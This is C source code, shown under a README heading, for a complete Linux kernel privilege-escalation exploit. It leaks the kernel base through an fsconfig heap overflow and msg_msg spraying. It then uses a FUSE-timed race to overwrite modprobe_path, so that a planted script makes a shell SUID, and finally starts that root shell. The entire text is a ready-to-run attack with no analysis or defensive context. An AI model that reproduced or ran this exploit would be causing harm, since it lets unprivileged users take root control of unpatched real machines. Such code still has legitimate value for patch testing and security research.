README.md
Rendering markdown...
#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdint.h>
#include "fakefuse.h"
int fd = -1;
uint64_t modprobe_path;
uint64_t offsets[] = {0x3400b0, 0x1c6c2e0};
enum {SINGLE_START = 0, MODPROBE};
void debug()
{
puts("Paused...");
getchar();
}
uint64_t do_check_leak(char *buf)
{
uint64_t kbase = ((uint64_t *)buf)[510] - offsets[SINGLE_START];
if (kbase & 0x1fffff || kbase == 0 || (kbase & (0xfffffful << 40)) != ((0xfffffful << 40))) {
return 0;
}
return kbase;
}
uint64_t do_leak ()
{
uint64_t kbase = 0;
char pat[0x1000] = {0};
char buffer[0x2000] = {0}, recieved[0x2000] = {0};
int targets[0x10] = {0};
msg *message = (msg *)buffer;
int size = 0x1018;
// spray msg_msg
for (int i = 0; i < 8; i++)
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}
memset(pat, 0x42, sizeof(pat));
pat[sizeof(pat)-1] = '\x00';
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("fsopen: Remember to unshare");
exit(-1);
}
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++)
{
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
// overflow, hopefully causes an OOB read on a potential msg_msg object below
puts("[*] Overflowing...");
pat[21] = '\x00';
char evil[] = "\x60\x10";
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
// spray more msg_msg
for (int i = 8; i < 0x10; i++)
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
puts("[*] Done heap overflow");
puts("[*] Spraying kmalloc-32");
for (int i = 0; i < 100; i++)
{
open("/proc/self/stat", O_RDONLY);
}
size = 0x1060;
puts("[*] Attempting to recieve corrupted size and leak data");
// go through all targets qids and check if we hopefully get a leak
for (int j = 0; j < 0x10; j++)
{
get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
kbase = do_check_leak(recieved);
if (kbase)
{
close(fd);
return kbase;
}
}
puts("[X] No leaks, trying again");
return 0;
}
// overflow to change msg_msg.next to modprobe_path - 8
void *arb_write(void *args)
{
uint64_t goal = modprobe_path - 8;
char pat[0x1000] = {0};
memset(pat, 0x41, 29);
char evil[0x20];
memcpy(evil, (void *)&goal, 8);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
puts("[*] Done heap overflow");
write(fuse_pipes[1], "A", 1);
}
// msg_msg arb write trick by hanging before msgseg on usercopy
// use FUSE to time the race
void do_win()
{
int size = 0x1000;
char buffer[0x2000] = {0};
char pat[0x1000] = {0};
msg* message = (msg*)buffer;
memset(buffer, 0x44, sizeof(buffer));
void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
uint64_t race_page = 0x1338000;
msg *rooter = (msg *)(race_page-0x8);
rooter->mtype = 1;
size = 0x1010;
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0);
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("Opening");
exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++)
{
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
perror("evil fd failed");
exit(-1);
}
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
perror("mmap fail fuse 1");
exit(-1);
}
pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
perror("can't setup threads for race");
}
send_msg(target, rooter, size - 0x30, 0);
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);
}
void spray_4k(int spray)
{
char buffer[0x2000] = {0}, recieved[0x2000] = {0};
msg *message = (msg *)buffer;
int size = 0x1000;
memset(buffer, 0x41, sizeof(buffer));
for (int i = 0; i < spray; i++)
{
int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(spray, message, size - 0x30, 0);
}
}
void modprobe_init()
{
char filename[65];
memset(filename, 0, sizeof(filename));
int fd = open(modprobe_trigger, O_RDWR | O_CREAT);
if (fd < 0)
{
perror("trigger creation failed");
exit(-1);
}
char root[] = "\xff\xff\xff\xff";
write(fd, root, sizeof(root));
close(fd);
char w[] = "#!/bin/sh\nchmod u+s " SHELL "\n";
chmod(modprobe_trigger, 0777);
fd = open(modprobe_win, O_RDWR | O_CREAT);
if (fd < 0)
{
perror("winner creation failed");
exit(-1);
}
write(fd, w, sizeof(w));
close(fd);
chmod(modprobe_win, 0777);
return;
}
void modprobe_hax()
{
puts("[*] Attempting to trigger modprobe");
execve(modprobe_trigger, NULL, NULL);
return;
}
void unshare_setup(uid_t uid, gid_t gid)
{
int temp;
char edit[0x100];
unshare(CLONE_NEWNS|CLONE_NEWUSER);
temp = open("/proc/self/setgroups", O_WRONLY);
write(temp, "deny", strlen("deny"));
close(temp);
temp = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", uid);
write(temp, edit, strlen(edit));
close(temp);
temp = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", gid);
write(temp, edit, strlen(edit));
close(temp);
return;
}
static const struct fuse_operations evil_ops = {
.getattr = evil_getattr,
.readdir = evil_readdir,
.read = evil_read,
};
char *fargs_evil[] = {"exploit", "evil", NULL };
int main(int argc, char **argv, char **envp)
{
fargs_evil[0] = argv[0];
unshare_setup(getuid(), getgid());
mkdir(MNT_PATH, 0777);
pipe(fuse_pipes);
modprobe_init();
if (!fork())
{
fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}
sleep(1);
spray_4k(30);
uint64_t kbase = 0;
while(!kbase)
{
kbase = do_leak();
}
printf("[*] Kernel base 0x%lx\n", kbase);
modprobe_path = (uint64_t)(kbase + (offsets[MODPROBE]));
printf("[*] modprobe_path: 0x%lx\n", modprobe_path);
spray_4k(30);
while (1)
{
do_win();
modprobe_hax();
struct stat check;
if (stat(SHELL, &check) < 0)
{
perror("Error on checking");
exit(-1);
}
if (check.st_mode & S_ISUID)
{
break;
}
}
puts("[*] Exploit success! " SHELL " is SUID now!");
puts("[+] Popping shell");
execve(SHELL, root_argv, NULL);
return 0;
}